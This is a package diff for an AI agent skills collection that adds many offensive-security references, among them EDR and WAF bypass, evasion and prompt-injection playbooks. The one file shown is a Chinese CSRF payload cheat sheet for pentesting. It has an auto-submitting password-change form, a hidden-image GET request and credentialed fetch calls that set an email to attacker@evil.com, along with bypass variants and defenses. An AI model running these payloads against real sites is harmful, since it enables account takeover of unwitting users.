opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,952 @@
1
+ # CSRF跨站请求伪造
2
+
3
+ _8 条 web payload_
4
+
5
+ ### CSRF基础攻击 `csrf-basic`
6
+ _跨站请求伪造基础攻击技术_
7
+ 子类:**基础攻击** · tags: `csrf` `cross-site` `request` `forgery`
8
+
9
+ **前置条件:**
10
+ - 目标存在敏感操作
11
+ - 缺少CSRF保护
12
+
13
+ **攻击链:**
14
+
15
+ **1. 构造CSRF表单**
16
+ > 构造自动提交的CSRF表单
17
+ ```
18
+ <form action="http://target.com/change-password" method="POST">
19
+ <input type="hidden" name="new_password" value="hacked123">
20
+ <input type="hidden" name="confirm_password" value="hacked123">
21
+ <input type="submit" value="Click me">
22
+ </form>
23
+ <script>document.forms[0].submit();</script>
24
+ ```
25
+ **语法解析:**
26
+ - `action` — 目标URL _value_
27
+ - `hidden` — 隐藏字段 _value_
28
+ - `submit()` — 自动提交表单 _function_
29
+
30
+ **2. GET请求CSRF**
31
+ > GET请求的CSRF攻击
32
+ ```
33
+ <img src="http://target.com/delete?id=123" style="display:none">
34
+ 或直接诱导用户点击:
35
+ http://target.com/delete?id=123
36
+ ```
37
+ **语法解析:**
38
+ - `<img src>` — 图片标签自动请求 _tag_
39
+
40
+ **3. JSON CSRF**
41
+ > JSON格式的CSRF攻击
42
+ ```
43
+ <script>
44
+ fetch("http://target.com/api/change-email", {
45
+ method: "POST",
46
+ credentials: "include",
47
+ headers: {"Content-Type": "text/plain"},
48
+ body: JSON.stringify({email: "attacker@evil.com"})
49
+ });
50
+ </script>
51
+ ```
52
+ **语法解析:**
53
+ - `credentials: "include"` — 包含Cookie _value_
54
+ - `text/plain` — 绕过预检请求 _value_
55
+
56
+ **4. 链接诱导**
57
+ > 诱导用户点击
58
+ ```
59
+ <a href="http://target.com/action?param=value">点击领取红包</a>
60
+ 或短链接隐藏真实URL
61
+ ```
62
+ **语法解析:**
63
+ - `<a` — 命令/关键字 _command_
64
+
65
+ **WAF/EDR 绕过变体:**
66
+
67
+ **Referer绕过**
68
+ > 绕过Referer检查
69
+ ```
70
+ 使用Referrer Policy:
71
+ <meta name="referrer" content="no-referrer">
72
+ 或使用data URL:
73
+ <data:text/html;base64,CSRF_PAYLOAD>
74
+ 或使用HTTPS->HTTP降级
75
+ ```
76
+ **语法解析:**
77
+ - `no-referrer` — 不发送Referer头 _value_
78
+
79
+ **Token绕过**
80
+ > 绕过Token验证
81
+ ```
82
+ 1. 检查Token是否可预测
83
+ 2. 检查Token是否绑定会话
84
+ 3. 检查Token是否在GET参数中泄露
85
+ 4. 检查是否有Token重放漏洞
86
+ ```
87
+ **语法解析:**
88
+ - `1.` — 命令/载荷起始 _command_
89
+ - ` 检查Token是否可预测
90
+ 2. 检查Token是否绑定会话
91
+ 3. 检查Token是否在GET参数中泄露
92
+ 4. 检查是否有Token重放漏洞` — 参数与载荷内容 _value_
93
+
94
+
95
+ **概述:** CSRF(Cross-Site Request Forgery)跨站请求伪造利用浏览器自动携带Cookie的特性,诱导已认证用户在不知情的情况下执行攻击者预设的操作(如转账、修改密码、更改邮箱等)。
96
+
97
+ **漏洞原理:** CSRF漏洞存在于缺乏请求来源验证的敏感操作中。浏览器在发送同站请求时自动附带Cookie,攻击者构造包含恶意表单/请求的页面,受害者访问后浏览器自动以其身份发送请求。关键条件:操作仅依赖Cookie认证、无CSRF Token验证。
98
+
99
+ **利用方法:** 完整利用流程:
100
+ 1. 找到敏感操作
101
+ 2. 分析请求格式
102
+ 3. 构造恶意页面
103
+ 4. 诱导受害者访问
104
+ 5. 自动执行恶意请求
105
+
106
+ **防御措施:** 防御措施:
107
+ 1. 使用CSRF Token
108
+ 2. 验证Referer头
109
+ 3. 使用SameSite Cookie属性
110
+ 4. 关键操作要求二次验证
111
+
112
+ ---
113
+
114
+ ### JSON CSRF攻击 `csrf-json`
115
+ _针对JSON请求的CSRF攻击技术_
116
+ 子类:**JSON CSRF** · tags: `csrf` `json` `api` `post`
117
+
118
+ **前置条件:**
119
+ - 目标使用JSON格式请求
120
+ - 缺少CSRF保护
121
+ - CORS配置不当
122
+
123
+ **攻击链:**
124
+
125
+ **1. 简单JSON CSRF**
126
+ > 使用text/plain绕过预检
127
+ ```
128
+ <script>
129
+ fetch("http://target.com/api/update", {
130
+ method: "POST",
131
+ credentials: "include",
132
+ headers: {"Content-Type": "text/plain"},
133
+ body: JSON.stringify({email: "attacker@evil.com"})
134
+ });
135
+ </script>
136
+ ```
137
+ **语法解析:**
138
+ - `fetch()` — 发起HTTP请求 _function_
139
+ - `credentials: "include"` — 包含Cookie _value_
140
+ - `text/plain` — 绕过CORS预检 _value_
141
+
142
+ **2. Flash JSON CSRF**
143
+ > 使用Flash发送JSON
144
+ ```
145
+ # 使用Flash发送JSON请求
146
+ # 需要目标允许Content-Type: application/json
147
+ # 配合Flash的跨域能力
148
+ ```
149
+ **语法解析:**
150
+ - `Content-Type` — 内容类型头 _header_
151
+
152
+ **3. XSSI攻击**
153
+ > 跨站脚本包含攻击
154
+ ```
155
+ # 利用JSONP回调
156
+ <script src="http://target.com/api/data?callback=attacker"></script>
157
+ function attacker(data) { console.log(data); }
158
+
159
+ # 利用数组返回
160
+ [{"secret": "data"}]
161
+ <script>var data = [{"secret": "data"}];</script>
162
+ ```
163
+ **语法解析:**
164
+ - `JSONP` — JSON with Padding _value_
165
+ - `callback` — 回调函数名 _value_
166
+
167
+ **4. SWF文件攻击**
168
+ > 使用SWF文件
169
+ ```
170
+ # 创建恶意SWF文件发送JSON请求
171
+ # 编译ActionScript代码
172
+ # 嵌入HTML页面
173
+ ```
174
+
175
+ **WAF/EDR 绕过变体:**
176
+
177
+ **修改Content-Type**
178
+ > 修改Content-Type绕过
179
+ ```
180
+ # 尝试不同的Content-Type
181
+ text/plain
182
+ application/x-www-form-urlencoded
183
+ application/x-www-form-urlencoded; charset=UTF-8
184
+ ```
185
+ **语法解析:**
186
+ - `#` — 命令/载荷起始 _command_
187
+ - ` 尝试不同的Content-Type
188
+ text/plain
189
+ application/x-www-form-urlencoded
190
+ application/x-www-form-urlencoded; charset=UTF-8` — 参数与载荷内容 _value_
191
+
192
+ **使用FormData**
193
+ > 使用FormData发送
194
+ ```
195
+ let formData = new FormData();
196
+ formData.append("data", JSON.stringify({email: "attacker@evil.com"}));
197
+ fetch(url, {method: "POST", body: formData, credentials: "include"});
198
+ ```
199
+ **语法解析:**
200
+ - `fetch()` — 网络请求 _function_
201
+
202
+
203
+ **概述:** JSON CSRF攻击针对接收JSON格式数据的API接口,虽然Content-Type: application/json通常触发预检请求(CORS保护),但存在多种绕过技术使攻击成为可能。
204
+
205
+ **漏洞原理:** JSON CSRF的绕过方式:1)使用text/plain类型发送JSON格式数据(某些后端仍解析) 2)利用Flash发送自定义Content-Type(旧浏览器) 3)使用fetch API配合宽松CORS策略 4)Navigator.sendBeacon()发送POST请求。
206
+
207
+ **利用方法:** 完整利用流程:
208
+ 1. 分析目标API请求格式
209
